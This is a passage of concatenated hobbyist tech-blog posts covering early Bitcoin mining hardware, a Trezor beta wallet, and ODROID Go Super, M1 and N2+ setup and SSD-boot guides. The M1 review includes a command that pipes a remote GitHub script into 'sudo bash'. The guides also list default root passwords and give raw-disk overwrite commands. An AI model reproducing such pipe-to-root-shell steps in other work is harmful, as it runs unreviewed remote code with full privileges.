by this point and I sold them for about $60 each in August 2014. They definitely did not mine me anywhere near the difference of the original $200 each being sold for $60 months later. My successful profitable mining and flipping of the Block Erupters and Furies definitely burned me here as these were very expensive at launch and nearly worthless in a few short months. ASICMiner Block Erupter Cube Block Erupter Cube 38 GH/s The ASICMiner Block Erupter cube was a huge leap forward in technology. This was actually a blade style miner. Inside the Cube are rows of blades. You can actually see the different blades in the picture above through the fan grating. Basically these blades were just hundreds of BE100 chips. The BE100 is the same chip that is in the Block Erupter Saphire USB miners above so basically ASICMiner took their huge stockpile of those aging chips and manufactured them into blades. These units took traditional PCIE 6-pin connectors from a regular power supply which marked an end to the Gridseed loose wire style power supplies as practically all miners going forward used a standard PC power supply. It also had a built in Ethernet connection so it was no longer necessary to use USB hubs connected to a PC or Raspberry Pi. These units were completely self contained other than the external power supply. Block Erupter Cube Web Interface They also had a web interface! Although it may look like a World Wide Web 1.0 beta site it was actually pretty clever what they did with it. The rows of O at the top of the screen represent the different chips on the blade. If your unit was failing or some chips were not hashing they would turn to an X letting you know there was a problem. You could actually replace individual blades inside the cube in this unit if one of your blades went bad (usually from overheating). You could also set the clock of the unit here. Low clock was 30 GH/s and the only people that used it are people with blades that couldn’t handle the high clock. There were cubes out there that weren’t capable of running on the high clock setting like mine were if someone got unlucky with the silicon lottery. I had two Raspberry Pi Model Bs set up as the proxy pools so that I had a failover if one of the Pis crashed. The Pi and Raspbian weren’t as stable as they are today so it wasn’t too unusual for one of them to fail and need a hard reboot by pulling the power and plugging it back in. I ran two of these with 3 Gridseed units in this picture. Block Erupter + Scrypt ASIC Setup These units were typically sold in Bitcoin. I used some of my previous mining proceeds and bought one and still have the original transaction. The mining hash speed was great at release but it wouldn’t be long before the AntMiner S1 would make these look like toys. Block Erupter Cube transaction circa Dec 2013 One Cube cost just under a full Bitcoin at the time. According to the historical Bitcoin calculator this was $620 at the time. Now just out of curiosity how much would that be worth now if I had just held my mining earnings? Block Erupter cube transaction value todayMake the pain stop… Well there goes my Lambo payment! Bitcoin’s value has increased by more than literally an order of magnitude since this time. After mining with them for a few months I sold them on eBay for around $50 largely thanks to the AntMiner S1 making them totally obsolete basically overnight. What do you think about that Captain Picard? Picard Facepalm AntMiner S1 Block Erupter + Scrypt ASIC + AntMiner S1 ASIC Setup We’re in the endgame now. The AntMiner S1 (top right corner) clocked in at a whopping 180 GH/s and 200 GH/s on high power mode. One AntMiner S1 had the power of roughly 615 USB Block Erupters. The AntMiner looks a lot like the newest miners do today. It has 2 blades with a heatsink and a large fan to push the air through. As you can see in my picture things are starting to get a little out of hand. Behind my TV is an officially declared disaster area in this photo with ugly cables and equipment everywhere. Heat was a serious issue with the AntMiner. These things consumed 360W of power and put out an incredible amount of heat. At the time I was young and poor and this mining setup put out enough heat to make my living room in a tiny one bedroom apartment uncomfortable. But oh the hash speeds! These units were very fast and reliable. I was still in the game at the time but AntMiner was already changing the mining game forever. They had a huge supply chain and would mine with huge warehouses of their miners to “test” them and their private AntMiner pool quickly became a juggernaut. This was also when mining whales really began to take over the market. Big mining whales would buy hundreds or thousands of units and AntMiner had the supply chain to deliver to all of them quickly making home miners like myself irrelevent. AntMiner continues to be the most dominant mining company in the market to this day. 3 AntMiner S1s, 4 Gridseeds, SNES games and a Wii Nunchuck And yet I tried to persist anyways. Here is the pinnacle of my home mining career with 3 AntMiner S1s clocking in at 600 GH/s along with my 4 Gridseeds. At this time I would mine about 0.01 BTC per day. Now today that’s actually a decent chunk of money (about $78 at time of writing) but back then it was around ~$5 per day. I purchased my first AntMiner unit for 0.91 BTC ($500) on March 25th 2014 and then second two for 0.45 ($200) BTC each in April. After getting a few power bills for $300-$400 and having a living room with a temperature of over 95F I realized that at that point of my life I did not have the resources to become a Bitcoin mining whale. I sold my AntMiners after a few months for about $190 a piece. These miners were a break even if not a slight profit and definitely would have been profitable if I had the appropriate environment to run them in (something like a shed, garage, etc.). Conclusion Bitcoin has always been a very wild ride. Mining Bitcoin is basically that wild ride but on steroids. Not only are you subject to the wild swings in the Bitcoin price but you are also subject to which new mining hardware is coming out and whether your old miner will have any use or value after they do. With what the price of Bitcoin has done it’s easy to conclude that my best course of action would have been to leave those miners on until they went out with a puff of blue smoke. But given that at the time it cost me more in electricity to mine and I took a loss on a lot of the miners from depreciation it was a rational decision for me to stop. The problem with that is that Bitcoin as a market has never been rational or rewarded rational decisions. The actual best decision (best meaning most profitable) would have just been to put all of that money I put into miners directly into Bitcoin and HODL. That’s right, the HODL crowd had it right all along! Now just because I stopped trying to keep up with the arms race doesn’t mean I gave up! Today I still mine Ethereum and Monero in my garage and immediately exchange it to Bitcoin. I use my previous generation gaming cards (2x 1080s, 1x 1050 TI) as well as a few old towers CPU mining on Monero and just let them happily mine in the garage. I mine about 0.002 BTC per week (~$15). Even though that almost doesn’t seem worth it I have been around long enough to know that 0.002 BTC (~$15) may be $150 in just a few years if the trend of Bitcoin continues. I may not have got my Lambo but I don’t regret playing in the Bitcoin arena at all. I have sold at the top of some bubbles and had some nice windfalls from it over the years that paid for vacations and things I had been saving for. But most of all for me the whole crypto experience is the pinnacle of techiness and nerdiness which makes it a lot of fun whether I make a profit or not. I will keep mining on a small scale for as long as the Bitcoin roller coaster continues! Other Resources For the best place to mine and exchange your altcoins check out my Best Altcoin Mining Pools and Exchanges article To understand the situation with Ethereum mining see my Why GPU / Ethereum Mining Is Toast – Stop Buying GPUs article #### New Trezor Native Ethereum Wallet Beta Guide / Features Trezor Ethereum Wallet Beta Main Page The Ethereum support on Trezor was traditionally just a link to a third party service where you had to log in through the web interface and export your keys every single time. You can’t even see your balance until you do this! Fortunately true native Ethereum support has arrived for Trezor in the beta! Not only that, but ERC20 token support was also added which has made Trezor now an extremely capable Ethereum hardware wallet. The beta wallet supports all Trezor wallet devices including Trezor One. In this article we will examine these new features in depth and give a final verdict! Table of Contents Toggle Supported HardwareHow to Access Trezor Beta WalletTrezor Native Ethereum WalletAdding ERC20 Tokens to TrezorSending ERC20 Tokens from TrezorThe Verdict Supported Hardware Trezor One* Trezor Model T* How to Access Trezor Beta Wallet To access the Trezor Beta wallet you need to use a different URL. Before I give you the URL please understand that you should not click any unofficial links to any wallets given to you by anybody. You can’t afford to ever make this mistake as even hardware wallets have been attacked via phishing links that look and act like the wallet but are fake. To access the Trezor beta wallet the original URL of wallet.trezor.io will need two modifications. Wallet will change to beta-wallet and you will add a /next/ at the end of the URL. The final result looks like this: Trezor Beta Wallet URL Once you go there you should see a notice telling you that you’re entering beta territory: Trezor Beta Wallet Warning Dialog Box You will be prompted to update to the beta firmware. Make sure you have your wallet recovery seed with you just in case. I didn’t have to enter the recovery seed on mine after the update but depending on what version you have you may need to enter it. Trezor Native Ethereum Wallet Now that you are upgraded to the beta you can open the new native Ethereum wallet. When you select Ethereum on the beta you will see this screen: Trezor Beta Wallet Ethereum Selection You can now select which wallet to access. If you still have balances on your old accounts you can select to go to them the way Trezor always has (open the web site, access Trezor to export view key). Select “Go to Trezor Ethereum Wallet” to access the new beta wallet. It will look like this: Trezor Ethereum Beta Wallet Main Page And there we go! It looks and works just like using Bitcoin or any other natively supported coin. Adding ERC20 Tokens to Trezor Look underneath the balance section of the wallet’s main page and you will see a Tokens section. Here you can start typing in a token name or address and it will add that to Trezor. Once you do this you will see the balance show up in that section. If you look at my screenshot above you can see that I have 8.4 Basic Attention Token (BAT) in my Trezor wallet. Once you have added the ERC tokens you want they will be available in other parts of the wallet such as sending. Sending ERC20 Tokens from Trezor Once your tokens have been added sending them is now available from within the Trezor beta wallet. If you head to the “Send” tab it will look like this: Trezor Beta Wallet Send Ethereum / ERC20 Token Dialog Box Select your ERC20 token from the dropdown and you can send it directly from your Trezor wallet without ever touching a web browser! Note: If you see an option to update your fees make sure you do! Fees on the Ethereum network can change very rapidly and you don’t want to overpay (the default fees before updating can be pretty high) or underpay (very long confirmation times). The Verdict This beta is excellent and I highly recommend upgrading immediately. The beta has been out for a while now and Trezor themselves are confident enough to wholeheartedly recommend using the beta version if you want access to these features. Trezor’s wallet can now easily manage both Ethereum and ERC20 tokens without ever exporting your keys or touching a browser again! #### ODROID Go Super Getting Started Guide ODROID Go Super Getting Started Guide The ODROID Go Super is the latest model of the popular handheld retro gaming consoles made by ODROID. It was recommended by a regular reader that I should check these out and I’m really enjoying it so far. Today I’ll show you how to get started with the ODROID Go Super including getting a network connection, loading more games onto the device and more. Let’s begin! Table of Contents Toggle Hardware UsedFirst Step – Connect to NetworkLogging in with SSHAdding More GamesGetting ROMsTransferring ROMsUsing SD CardUsing SFTPCopying ROMs to FoldersScraping Game DataConclusionOther Resources Hardware Used ODROID Go Super The ODROID Go Super is a handheld gaming system with a 4000 mAh rechargeable battery, a strong scratch-resistant screen and an included SD card / charger. It actually ready to go out of the box without needing further accessories. Links: AliExpress.com*, Amazon.com* ODROID Go Super 4000 mAh battery upgrade The 4000 mAh battery used in newer models of the ODROID Go Super. Should be included on newer models but is nice for an extra / replacement. Links: Amazon.com* First Step – Connect to Network The first thing we need to do with the ODROID Go Super is get it connected to a network. This will let us download updates on the device as well as connect to it remotely using SSH. The ODROID Go Super does not include a built-in WiFi module so you need to use a USB WiFi module. You can also alternatively use a USB to Ethernet adapter*. If you’re using the wireless module then press the menu button located here: ODROID Go Super – Menu Button Go into the “Network Settings” menu. If you’ve connected your WiFi module in the top like I have you should see an option to enter your SSID and password: ODROID Go Super Network Settings Once that is done you should be connected and see an IP address like my screenshot above. Logging in with SSH The only tricky part about this is knowing the credentials to use when logging into the device. The credentials to log into the device are: Username: root Password: emuelec Provided you are using the right IP address (available by pressing the Menu button and choosing “Network Settings”) you should see this: james@jamesgigabyte-linux:~$ ssh root@192.168.54.163 root@192.168.54.163's password: ############################################## # EmuELEC # # Retro emulation for Amlogic Devices # # Based on CoreELEC # ############################################## EmuELEC (Official - EmuELEC is FREE! NOT FOR SALE!): 4.5 (OdroidGoAdvance.aarch64) EMUELEC:~ # That’s all there is to connecting with SSH. You may also connect with a SFTP client to transfer files to/from the device! Adding More Games Getting ROMs The first thing you need to do is get some additional ROM packs to load on your device. These are very easy to find on the internet. One popular site is romspack. Transferring ROMs You have a couple different options for transferring games to the ODROID Go Super. You can either take out the SD card and put it in your computer or you can upload them using a SFTP client. Using SD Card A very easy way to add games (as long as you have a USB to SD card adapter or a laptop/PC that has a micro SD card slot) is by simply removing the SD card and inserting it into your computer. To remove the SD card simply press inward on it and after you press it in a little bit it will release and pop out. When I inserted the SD card into my computer my ROMs folder was mounted as “EEROMS”. The folder structure should look like this: james@jamesgigabyte-linux:/media/james/EEROMS$ ls 3do easyrpg nds segacd amiga famicom neocd sfc amigacd32 fbneo neogeo sg-1000 amstradcpc fds nes sgfx amstradgx4000 freej2me nesh snes arcade gameandwatch ngp snesh atari2600 gamegear ngpc snesmsu1 atari5200 gamegearh odyssey solarus atari7800 gb openbor splash atari800 gba pc supervision atarilynx gbah pc98 'System Volume Information' atarist gbc pcengine tg16 atomiswave gbch pcenginecd tg16cd bezels gbh pcfx tic-80 BGM genesis pico-8 uzebox bios genh pokemini vectrex c128 gw ports vic20 c16 intellivision ports_scripts videopac c64 mame psp virtualboy capcom mastersystem pspminis wonderswan coleco megadrive psx wonderswancolor cps1 megadrive-japan saturn x68000 cps2 mplayer savestates zx81 cps3 msx sc-3000 zxspectrum daphne msx2 screenshots downloads n64 scummvm dreamcast naomi sega32x We will cover exactly how to copy ROMs into the folder structure in a moment here. Using SFTP To connect with SFTP use the same credentials we used for SSH (root/emuelec). You should already know your IP address of the ODROID Go Super (covered earlier). If you are using SFTP you should leave the micro SD card in the device. Most FTP clients such as FileZilla support SFTP connections and let you basically use a FTP client to transfer files to/from the device. This is very nice to use with the ODROID Go Super when you have the WiFi module inserted. Simply put your connection details into your FTP client like this: ODROID Super SFTP using FileZilla Now connect to the server and navigate to /storage/roms. You should see the same folder structure as the previous section (3d0, amiga, etc.). Copying ROMs to Folders The files you need to transfer in have some specific requirements. The full list of requirements is listed here in the official documentation. A general rule of thumb is that you should only include the exact types of files that it expects. For example if you wanted to load NES ROMs according to the documentation I linked above you would only put files of the type “.7z .fds .nes .zip” in the “nes” ROM path. I highly recommend just using the plain uncompressed files (such as .NES). Once you’re sure you have the right file types and know where they go copy the files into the correct place. If you are using the SD card method you can insert the SD card in the device when you are done and reboot. If you are using SFTP once you are finished press the Menu button and choose “Game Settings” and then “Update Gamelists”. All of your games should appear! Scraping Game Data Scraping services are what give the games on your system the nice background art, meta information, release date and other details about the game. To perform a scrape on all the games on the device press the Menu button and choose “Scraper”. Before pressing “Scrape Now” I recommend changing the Scraping provider by going to the “Scrape From” option and picking a different one. The default one gave me some kind of login error. I switched to “TheGamesDB” and it started scraping all of my newly loaded titles. Once you’ve set the provider choose “Scrape Now” and it will begin to download the artwork and metadata for your individual games/titles. You will actually have a progress indicator in the top right of your screen like this: ODROID Go Super – Scraping Game Data Conclusion That should be about it for all of the major operations on the device. Make sure you install any updates when prompted and keep the emulators up to date. You can also force a check by pressing the Menu button and then choosing “Updates”. Ensure check for updates is turned on and press “Start Update”. I have really been enjoying the device. I am glad that I waited several generations of previous devices before buying one. I’m completely comfortable recommending this system to others who want a handheld portable retro gaming system and for those who already own one I hope this guide helped! Other Resources I highly recommend my cheap SSD mod for last-gen gaming consoles to improve your gaming experiences! The ODROID M1 is a blazing fast SBC that has a built in M.2 NVMe port that is great for power users and can achieve very high performance The ODROID XU4Q is a great board especially when paired with a eMMC and it’s quite inexpensive #### ODROID M1 Review and Benchmarks ODROID M1 Today I’m very excited to review the ODROID M1 board. I bought this board for a couple of reasons. The first was that it is one of the top rated (and the top rated) boards on my Pi Benchmarks storage benchmarking website. The second reason was a recommendation from you guys on one of my articles to check out and review the board! This will be my very first ODROID board. Definitely let me know if there’s more boards I need to check out that I haven’t covered as I’m actively investigating alternative SBCs to the Raspberry Pi due to the ongoing shortage. Let’s begin! Table of Contents Toggle Hardware UsedGetting ODROID ImagesAlternative ImagesArmbian DistributionImagingFirst Startup / Final ImagingFirst Login / UpdatesPerformance Testing / BenchmarkingPros / ConsProsConsConclusionOther Resources Hardware Used ODROID M1 4GB This is the 4 GB version of the ODROID M1. Includes a full size (2280) M.2 slot (PCIe 3.0 2 lanes), a Neural Processing Unit (NPU) and contains a RK3568B2 SOC. There is a slot for eMMC cards on the board as well and these perform very well. Links: Amazon.com*, AliExpress.com* ODROID M1 8GB This is the 8 GB version of the ODROID M1. Includes a full size (2280) M.2 slot (PCIe 3.0 2 lanes), a Neural Processing Unit (NPU) and contains a RK3568B2 SOC. There is a slot for eMMC cards on the board as well and these perform very well. Links: Amazon.com*, AliExpress.com* 12V 2A Power Adapter You will need a 12V 2A power adapter for the ODROID M1 Links: Amazon.com* CR2032 Batteries The ODROID takes a CR2032 LiCB battery for the backup / system clock battery slot (not included with board) Links: Amazon.com* Getting ODROID Images One aspect of all these different SBCs I’ve been paying special attention to is the quality of the official images and how old the kernels in them are. Today will be no exception. The official ODROID images are available here. For the M1 board it looked like this at time of writing: ODROID M1 Official Images Here we see Gnome Desktop, Gnome Desktop with NPU, ROS2-foxy and Server. These are all Ubuntu images but are meant for different setups. The “Server” one is meant for headless setups and has a minimal installation. You may also choose Android 11. In a perfect world I would recommend the Gnome Desktop with NPU. What is a NPU you may say? It is a “Neural Processing Unit” and the M1 board does have one. Here’s what ODROID says about the onboard NPU: Since Machine Learning has been a trend in this industry, there is a neural network processing unit (NPU) which can deliver up to 0.8 TOPS on the M1 single board computer. We could run various TensorFlow Lite and ONNX models on Ubuntu Linux OS. https://www.hardkernel.com/shop/odroid-m1-with-8gbyte-ram/ Unfortunately this image would not boot for me. It would just immediately cut to black when I chose to boot “Ubuntu 20.04”. Therefore I do not recommend the NPU image. This will presumably be fixed at some point but for now avoid the NPU image. I then tried the regular desktop image without the NPU. This image worked. However it cannot upgrade to Ubuntu 22.04.1 successfully and will give crazy package errors (and ones that won’t be easily fixed by sudo apt install –fix-broken or dpkg –configure -a). Therefore I do not recommend the desktop image either even if you want a desktop. I recommend you use the server image and upgrade it to 22.04.1 and then install the desktop with: sudo apt install ubuntu-desktop Only install the desktop after you’ve fully upgraded releases. That way you end up with both 22.04 and a desktop environment! Keep in mind that the NPU and desktop both can be enabled later. You will have a much easier time if you start with the “Server” image and upgrade it to 22.04.1 first and then install the desktop and configure the NPU. Alternative Images BEST IMAGE: I have an alternative Ubuntu 22.04.1 image available here. ODROID has a list of alternative images available here. These include X11 based Desktop Manjaro ARM Linux ROM AOSP Android 11 RVC LineageOS 19.1 Armbian Distribution There was not a Armbian image available at time of writing but people are working on it. You can build the earlier versions yourself already but they have some issues that are being ironed out. Imaging Imaging these is a little different than many other boards. You actually have several options. You can plug the ODROID M1 in via USB cable directly to a PC. You can directly image the SSD before mounting it in the ODROID (with a NVMe to USB enclosure like my ASUS ROG Strix M.2 NVMe enclosure*). The way I did it for this article was to put the image onto a USB drive and boot the ODROID and image it from the shell. For this review I’ll be using my 1 TB Samsung 960 EVO M.2 NVMe drive. This is the exact same drive that I used in my Compute Module 4 PCIE 1x NVMe testing article which should make for a good comparison. First you need to extract the image from the xz format so we get the raw image which ends with .img. If you are in Linux you can do this with: xz -d ubuntu-20.04-server-odroidm1-20220531.img.xz This gave me ubuntu-20.04-server-odroidm1-20220531.img. This is the file you want to copy to your USB drive. The server image is only about 1GB but the desktop images are much larger so keep that in mind for the size of your USB drive. Installing the M.2 is completely straightfoward. You simply remove one screw, mount the drive and then use the screw you unscrewed to mount it to the board. We are going to power up the M1 with the USB drive plugged in. First Startup / Final Imaging Connect the M1 to a display for this part as we are going to go into the shell to image the M.2 drive. When you connect the power you will see this menu: Petitboot Menu This is called the Petitloader bootloader. We are going to choose the very last option on the menu to enter the shell. Now we are going to image our SSD with the following command: dd if=/usr/var/petitboot/mnt/dev/sda1/ubuntu-20.04-server-odroidm1-20220531.img of=/dev/nvme0n1 bs=4M sync If you are having any trouble finding the USB drive (or another drive you are using to hold the image) use the command: df to get a full listing of all attached drives and paths to them. You should find that it’s pointing to /usr/var/petitboot/mnt/dev/sda1 as the USB drive mount path (mine was and I definitely used a regular USB flash drive). Now type “exit” to go back to the main menu. Choose the “Rescan Devices” option and it should find your NVMe boot partition. Select “Ubuntu 20.04” and press enter and with any luck you should see the Ubuntu logo! First Login / Updates The credentials to sign in to the image are: Username: odroid Password: odroid There is also a root user that also has the password of odroid. The first thing I recommend doing when signing in is updates: sudo apt update && sudo apt upgrade -y sudo apt install ubuntu-release-upgrader-core pciutils -y sudo reboot Now to upgrade releases open a terminal and use: sudo do-release-upgrade Provided you are using the “Server” image you should be able to successfully upgrade to 22.04.1! Performance Testing / Benchmarking ODROID With Friends (from several recent reviews/benchmarks/testing and some remaining GPU mining going on in the background before the end of GPU mining) After a couple of hours fighting with reimaging and getting a successful upgrade to 22.02.1 I was finally ready to benchmark the device! The way to run the Pi Benchmarks storage benchmark is the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash The result was a score of: 15,978. The full benchmark is available here: Pi Benchmarks – Benchmark #62071 Now this is a fantastic score (compared to any Pi 4 score and most other SBC scores) but it is disappointing. Why? Allow me to explain. I have previously done NVMe testing using a PCIe 1x adapter on the Raspberry Pi Compute Module 4 (CM4). Using that setup (which is not nearly as nice as a PCIe 3.0 2-lane dedicated M.2 slot built directly into the board) I was able to achieve a score of 19,957. This is with the exact same 1 TB drive (literally the same module). Something is bottlenecking it here. It could be firmware related, a bug, something with the kernel (which is why I updated to the latest 22.04.1 version to try to prevent something like this from happening) or many other possibilities. Still not convinced it should be faster? I recently wrote an article detailing various Compute Module 4 boards and their capabilities. One of those boards is the Waveshare $38 Compute Module 4 board and it scored 15,925. Again, with the exact same drive. It beat the $38 Waveshare CM4 IO board* but only by a hair. The Compute Module 4 setup remains the undisputed champion of performance in the SBC world for now. Pros / Cons Pros Onboard NVMe slot works as advertised Has Petitboot boot loader simplifying many boot operations and adding capabilities such as network booting Powerful CPU and GPU capable of excellent desktop performance Cons Not overclockable Conclusion It should be performing faster than it is. I’m not sure what is holding it back. There’s likely improvements that can and will be made in software and firmware to improve this over time. I got this board pretty early in the lifecycle so maybe I didn’t do ODROID any favors by buying a board that hasn’t been out for years like some of their other popular boards. Nevertheless this was the experience and I’m honestly happy with the result and will keep using the board. I would really like to see ODROID put a current Ubuntu 22.04.1 image on the “Downloads” page. I’m sure this is only a matter of time but I did not have a clean upgrade experience my first time and spent a couple of hours fighting with this. I strongly recommend following my recommended route of using the “Server” image and adding the desktop and other capabilities later. I think the ODROID M1 is a good board for experienced SBC users given the current price of Pis. I would not recommend it for first timers because it’s not quite as polished of an experience as an Orange Pi or a Raspberry Pi yet. If you are generally comfortable with Linux and troubleshooting you will be just fine. For experienced users the power and performance you get with this board for the price is excellent. I expect the M1 experience will improve over time and that many of the issues I encountered with the images in this article will likely disappear as soon as ODROID posts an updated image on their site. The M1 is not that old of a board compared to a lot of other boards in ODROID’s lineup. I definitely intend to try some of the other ones that are more established and expect I will not have as much trouble. Using NVMe on the Pi 4 is kind of difficult and clunky without powered USB hubs and enclosures especially with higher capacities. Given that the ODROID M1 is literally cheaper than a 4 GB Pi 4 on Amazon there’s no question to me that it’s smarter to buy the ODROID M1 at the moment. It’s not as smooth of sailing as with the Pi though which is why I would choose another board for first timers (or wait until better and more stable images are available for the M1). I’d like to try the eMMC slot. That’s one thing we didn’t cover today because I don’t have the right adapter board to connect a eMMC to it. I plan on getting this as the performance on eMMC with the M1 is supposed to be fantastic as well. If any of you also have the M1 board and know any tricks to possibly optimize the performance that I can try let me know in the comments! This is literally my first ODROID experience and I just wanted to review the board and share what it was like using it and what the outcome was. I’m sure I will learn and share more tricks to get more out of these as I become more familiar with them! Other Resources I highly recommend my Ubuntu 22.04.1 Legendary ODROID M1 image for your M1! Definitely check out my testing with a official Hardkernel eMMC using the M1 The ODROID XU4Q is definitely a more approachable board for beginners Check out my Orange Pi Zero 2 review here for a board that’s more approachable for beginners If you want to see a really cheap headless board for under $10 that is the Orange Pi i96 Getting Started Guide ASUS Tinker Boards are quite cheap right now at time of writing as well at roughly half the cost of a Pi #### ODROID N2+ Petitboot SSD Boot Guide ODROID N2+ SSD Boot Guide Configuring the ODROID N2+ for USB booting can be a little bit tricky. There are guides out there that will both use a SD card to bootstrap the SSD booting and other guides that use Petitboot but have complex setup instructions. Today I want to show you a simple method that I used to get SSD booting set up on the ODROID N2+ so I could perform my storage benchmarking on the device for my review. I will be using a NVMe SSD but you may use other types of SSDs as well. Let’s get started! Table of Contents Toggle Hardware UsedFirst Step: Install OS to SD Card/eMMCCopy eMMC / SD card to SSDRun fsckConfiguring PetitbootConclusionOther Resources Hardware Used ODROID N2+ The ODROID N2+ is a great board with a built-in Petitboot bootloader capable of booting from SSDs and other types of devices. The N2+ is an overclockable board which is one of the advantages it has over the M1. Available in 2GB and 4GB variants. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ASUS ROG Strix M.2 NVMe Enclosure If you really want to take things over the top the ASUS Rog Strix M.2 NVMe enclosure uses the latest USB 3.2 Gen2 specification, is RGB capable and works with the Pi! Unsurprisingly, adding the extra lighting does take extra power! A powered USB hub is also required for this enclosure. More widely available than the ICY BOX but tends to be on the expensive side. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* First Step: Install OS to SD Card/eMMC For this method the first thing you will need is an already working copy of the OS you would like to install to the SSD installed on either a eMMC or SD card. If you want to install your existing N2+ installation onto a SSD you can skip to the next step. You should fully update the image before proceeding to the next step with: sudo apt update && sudo apt full-upgrade -y Once you’re fully upgraded you’re ready for the next step. Copy eMMC / SD card to SSD Now it’s time for the magic of this method. We are going to completely clone your working installation to your SSD. Connect your SSD to the running ODROID. You should see devices pop up for /dev/sda in lsblk: odroid@odroid:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 931.5G 0 disk ├─sda1 8:1 0 128M 0 part /media/usb0 │ /media/boot └─sda2 8:2 0 14.4G 0 part /media/usb1 First clean off the SSD by running: sudo fdisk /dev/sda Delete all partitions until it is completely blank. Now we can copy the entire memory card to our SSD with the following command: sudo cat /dev/mmcblk0 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Run fsck Now unplug the SSD and plug it back in so it reads our new partition table from the device. Before we reboot run e2fsck on the drive like this: sudo e2fsck -yf /dev/sda2 NOTE: Some images for the N2+ only have a single root partition. This is fine since the “boot” partition is unnecessary with Petitboot but many images still have it. If yours doesn’t then you will use /dev/sda1 instead here and for the rest of the guide. This will prevent you from having to run fsck on the CLI the first time you try to boot. Configuring Petitboot Now change the switch on the side of the N2+ from eMMC to SPI flash (if you were using a eMMC for the first steps). This will tell the N2+ to boot the Petitboot bootloader. You should remove your SD card / eMMC at this point as they will have the same partition IDs as your SSD installation (these can be changed and /etc/fstab and boot.ini can be updated accordingly but I recommend getting it working first by taking out the SD/eMMC). When the ODROID boots it should look like this: Petitboot Main Menu Notice at the top we have our SSD drive as the only boot option showing. We aren’t ready to boot it just yet though. First we need to make a change. Scroll up to the entry below “USB: SDA1 / F702-E9CB” (but don’t press enter). On my setup it says “NO LABEL” but if your drive has a label (or you applied one) it may show that instead. Now press the letter “e” to edit the boot line. This part is a little annoying but you only need to do it once the first time you set up your SSD. We need to edit the boot parameters which are currently pointing to /dev/mmcblk0p2. We are going to change this to /dev/sda2. It’s really tricky to edit the line we need to edit. Let me show where/what we need to edit first: Petitboot – Edit Boot Entry You can see that we need to edit the “Boot arguments” line. This is not as easy as it looks. You need to scroll down to that entry with the arrow keys but because it goes off the screen it won’t be obvious that you have it highlighted. The way to make sure you are on the right entry is once you have it highlighted (or you think you do) start holding the left arrow key. After a few seconds you should see it start scrolling to the left. The entry we need to edit is literally all the way at the beginning. It’s the very first entry. On your ODROID before making this change the very beginning of the line should show: root=/dev/mmcblk0p2 Change this to: root=/dev/sda2 Once this is done you’re ready to boot. Press enter to accept the changes and then choose the same entry we just edited and press “Enter” to select it. Your OS should fire up completely booted from your SSD! Conclusion That is it! Provided you edited the Petitboot entry for the SSD to point to /dev/sda instead of /dev/mmcblk0 you are all done! I should note that my performance score on Pi Benchmarks running the SSD through USB 3.0 was 7,476. You can view my benchmark for the ODROID N2+ with a SSD here. As a comparison the M1 got a score of over 16,000 with the exact same drive. What does this mean? It means that the USB 3.0 bus is actually limiting your maximum speeds. Therefore it doesn’t really make sense to use M.2 NVMe with this board. A regular 2.5″ SATA or M.2 SATA drive will be plenty to hit the USB 3.0 bottleneck / cap. The overclocking capabilities on this board (vs the M1 which does not have any) did not make up for being limited by the USB 3.0 bus. Not even close. The M1 more than doubled it using a real M.2 socket instead of a USB to NVMe adapter. The USB 3.0 speeds are the bottleneck. It’s still about 40-50% faster than using an eMMC so it’s a fantastic upgrade nonetheless! It’s especially worth it if you already have older 2.5″ SATA or M.2 SATA drives laying around. This will give you a nice 40-50% performance boost as well as typically a lot more storage capacity (considering the largest official eMMC available is 128GB which is among the smallest of available SSD sizes you can buy). In other words a SSD is worth using on this board but it is not worth buying or even wasting a fancy NVMe SSD in it because the USB 3.0 bus will limit your speeds to ones that are easily achievable with even mid-range 2.5″ SATA and M.2 SATA drives. Use an older / cheaper one with it and it’s a great / economical choice! Other Resources I highly recommend the M1 over the N2+ if you are trying to do NVMe. It’s just much faster without having to use the USB bus If you have the M1 already I highly recommend my Ubuntu 22.04.1 Legendary ODROID M1 image If you’re looking for eMMC information definitely see my ODROID eMMC Guide here If you’re a retro gaming fan and an ODROID fan you should see my ODROID Go Super review here! #### ODROID XU4/XU4Q SSD Booting Guide ODROID XU4 / XU4Q SSD Boot Guide The ODROID XU4 and XU4Q can be a bit more tricky to boot from USB drives such as a SSD due to them not using the fantastic Petitboot bootloader like many of their newer boards have. It is still completely achievable though using an old trick and a sacrificial SD card. The performance gains as well as access to much higher capacity drives can makes it more than worth it to set up SSD storage (as it is on nearly all single board computers). Let’s get started! Table of Contents Toggle Hardware UsedPreparing SD CardPreparing SSDCloning Installation to SSDChange SD card’s UUIDRun fsckReboot and VerifyTesting PerformanceSD Card TestSSD TestConclusionOther Resources Hardware Used ODROID XU4 The ODROID XU4 is actively cooled by a powered fan. It has an octocore (8 core) processor. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* ODROID XU4Q The ODROID XU4Q is a passively cooled version of the popular XU4 model. It has an octocore (8 core) processor. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ODROID Power Supply The XU4Q needs a pretty hefty power supply and tends to not boot if it’s not just right. This is a link to the official ODROID power supply. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de,* Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* StarTech 2.5″ SATA Adapter The StarTech USB to 2.5″ SATA adapter is one I have recommended for many years for use with all kinds of devices including the Raspberry 